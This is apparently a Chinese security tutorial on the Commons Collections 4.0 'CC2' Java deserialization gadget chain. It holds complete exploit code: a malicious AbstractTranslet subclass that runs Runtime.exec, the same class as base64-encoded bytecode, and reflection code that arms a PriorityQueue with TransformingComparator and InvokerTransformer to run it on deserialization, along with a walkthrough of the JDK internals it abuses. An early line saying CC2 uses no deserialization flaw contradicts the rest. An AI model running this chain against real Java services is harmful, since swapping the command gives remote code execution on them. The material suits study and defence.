jdk8u71
apache commons collection-4.0
cc链2利用链中使用了动态字节码编程来构造poc
cc链2没有使用反序列化漏洞
构造一个TestTemplatesImpl恶意类转成字节码,然后通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性(构造利用核心代码)
创建一个InvokerTransformer并传递一个newTransformer方法,然后将InvokerTransformer方法名传递给TransformingComparator(这一步和CC1链非常相似)
通过反射构造PriorityQueue队列的comparator和queue两个字段,将PriorityQueue队列的comparator字段设置为TransformingComparator,然后将queue字段设置为TemplatesImpl对象,触发利用链
cc链2的payload代码:
package com.cc;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2Test {
public static void main(String[] args) throws Exception {
//构造恶意类TestTemplatesImpl并转换为字节码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.cc.TestTemplatesImpl");
byte[] bytes = ctClass.toBytecode();
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");
//构造利用链
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);
//触发漏洞
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
//设置comparator属性
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformer_comparator);
//设置queue属性
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//队列至少需要2个元素
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);
//序列化 ---> 反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = ois.readObject();
}
构造恶意类TestTemplatesImpl
package com.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TestTemplatesImpl extends AbstractTranslet {
public TestTemplatesImpl() {
super();
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
构造的这个恶意TestTemplatesImpl会转换为字节码,然后通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性
这里转换为字节码的原因是构造核心代码时要用到TemplatesImpl类。
TemplatesImpl类的_bytecodes属性会接收一个byte数组,
TemplatesImpl类里的defineTransletClasses方法内部调用了defineClass 方法将_bytecodes
属性的字节码还原成class对象,然后将class对象赋给_class
属性。
我们只需要将恶意类传递给_bytecodes
属性, defineTransletClasses方法根据_bytecodes属性的字节码数据加载成class对象时,就可以通过控制_bytecodes
属性,再利用实例化对象来触发class对象的构造方法
接下来解决的就是如何构造一个恶意类传递给TemplatesImpl类_bytecodes属性?
通过javassist字节码编程动态构造一个恶意类并转换为字节码,然后暴力反射获取TemplatesImpl类的_bytecodes
属性并将恶意类的字节码设置给_bytecodes属性。接着还需要找到一个既调用了defineTransletClasses方法,又调用了newInstance方法的地方。
getTransletClasses是一个重载的方法,该方法内部调用了defineTransletClasses和newInstance方法
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
//_name是否为空
if (_name == null) return null;
//class对象是否为空
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
//根据class对象实例化
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
这个方法会先判断_name是否为空,如果没有设置的话返回null,不在往下执行。构造核心利用代码时通过反射将_name
属性设置为恶意类TestTemplatesImpl的类名.然后判断class对象为空就调用defineTransletClasses方法创建class对象。当defineTransletClasses方法创建恶意类的class对象后,_class
属性会调用newInstance方法实例化TestTemplatesImpl
defineTransletClasses方法
private void defineTransletClasses() throws TransformerConfigurationException {
//_bytecodes属性是否为空
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
//获取类加载器
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
//统计_bytecodes属性数组
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
//根据_bytecodes数组换成class对象
for (int i = 0; i < classCount; i++) {
//还原成class对象
_class[i] = loader.defineClass(_bytecodes[i]);
//是否继承了AbstractTranslet类
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
//如果继承了,设置当前class对象的索引下标
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
//如果class对象个数为零,抛出异常
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
_class
属性是一个接收class对象的数组,_transletIndex
索引控制了_class
数组中具体的哪一个class对象,defineTransletClasses方法在还原class对象的时候,会判断当前class对象是否继承了AbstractTranslet类并设置_transletIndex索引。
这里需要注意的是构造TestTemplatesImpl类必须要继承AbstractTranslet类
下面讲构造利用链
我们先寻找那个地方调用了getTransletInstance方法,这里会发现TemplatesImpl类中有一个newTransformer方法内部调用了getTransletInstance方法。
newTransformer方法:
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
他的作用是返回一个Transformer
InvokerTransformer类中有一个transform方法会根据传入的iMethodName,iParamTypes,iArgs这三个成员属性来执行class对象的某个方法,并且这三个属性是根据InvokerTransformer类的构造传入的,然后通过InvokerTransformer类的transform方法来调用newTransformer方法。
接下来我们就需要去调用newTransformer方法
InvokerTransformer类中的transform方法是通过实现Transformer接口来的,因此下一步的思路就是查找哪些类调用了Transformer接口的transform方法并且还实现了Serializable接口
这里找到的是TransformingComparator类,他是Comparable 对象的comparator比较器,这个类的compare通过transformer属性来调用transform方法,如果想调用InvokerTransformer类的transform方法,可以把InvokerTransformer传给TransformingComparator类的构造来设置transformer属性
得到下面的利用链
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
//将InvokerTransformer传递给TransformingComparator
TransformingComparator comparator =new TransformingComparator(transformer);
如何去触发呢
comparator比较器在集合中使用的比较多,还可以通过实现Comparator接口自定义比较器,TransformingComparator类本身就是一个自定义比较器,我们可以通过集合来调用TransformingComparator比较器,这个集合必须实现Serializable接口,重写了readObject方法,并且还使用了Comparator比较器。
这里利用的集合是jdk中的PriorityQueue集合,这个集合是一个优先队列,
每次排序都会触发comparator比较器的compare方法,并且PriorityQueue还重写了readObject方法(反序列化漏洞必要的利用条件)。
PriorityQueue的readObject方法:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
//接收PriorityQueue队列的元素
queue = new Object[size];
// Read in all elements.
//读取元素还原成java对象
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
readObject方法会把序列化后的数据还原成java对象,然后通过queue属性用于接收元素 ,queue是一个数组,size属性记录元素的个数,接着调用heapify()方法。
heapify()方法内部将queue队列作为参数传给了siftDown方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
siftDown方法会判断queue队列中的comparator属性,如果不为空则调用siftDownUsingComparator方法,否则调用siftDownComparable方法
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
siftDownComparable方法内部会生成一个Comparable比较器并调用compareTo方法
private void siftDownComparable(int k, E x) {
//生成Comparable比较器
Comparable<? super E> key = (Comparable<? super E>)x;
int half = size >>> 1; // loop while a non-leaf
while (k < half) {
int child = (k << 1) + 1; // assume left child is least
Object c = queue[child];
int right = child + 1;
if (right < size &&
((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
c = queue[child = right];
//调用compareTo方法
if (key.compareTo((E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = key;
}
siftDownUsingComparator方法内部调用了comparator属性的Comparator比较器的compare方法
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
//调用comparator属性的compare方法
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
如果comparator属性指定为TransformingComparator比较器的话,就可以调用TransformingComparator的compare方法,然后利用反射将PriorityQueue队列中的comparator属性设置为TransformingComparator比较器,这样PriorityQueue集合在反序列化过程中就会调用comparator比较器
将compare方法的参数设置为TemplatesImpl对象,然后transform方法就会调用TemplatesImpl对象的newTransformer方法
最后在PriorityQueue集合中添加两个TemplatesImpl对象作为集合元素就可以触发之前构造的利用链。
CC2链最终payload:
package com.cc;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2Test {
public static void main(String[] args) throws Exception {
//构造恶意类TestTemplatesImpl转换为字节码并进行base64编码
byte[] bytes = Base64.decode("yv66vgAAADEAMQoACAAhCgAiACMIACQKACIAJQcAJgoABQAnBwAoBwApAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAaTGNvbS9jYy9UZXN0VGVtcGxhdGVzSW1wbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEMAAkACgcAKwwALAAtAQAEY2FsYwwALgAvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAMAAKAQAYY29tL2NjL1Rlc3RUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAMAAQAJAAoAAQALAAAAZgACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAgAMAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASAA0AAAAWAAIAEQAEAA4ADwABAAAAFgAQABEAAAABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACABgAAAAEAAEAGQABABIAGgACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABsAHAACAAAAAQAdAB4AAwAYAAAABAABABkAAQAfAAAAAgAg");
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");
//传递给TransformingComparator
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
//设置comparator属性
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformer_comparator);
//设置queue属性
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//数组中必须添加2个元素
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = ois.readObject();
}
}